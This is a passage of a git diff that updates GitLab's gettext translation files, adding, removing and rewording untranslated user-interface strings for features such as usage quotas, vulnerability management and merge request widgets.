+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 4a91803a7cb..99df1ffb531 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
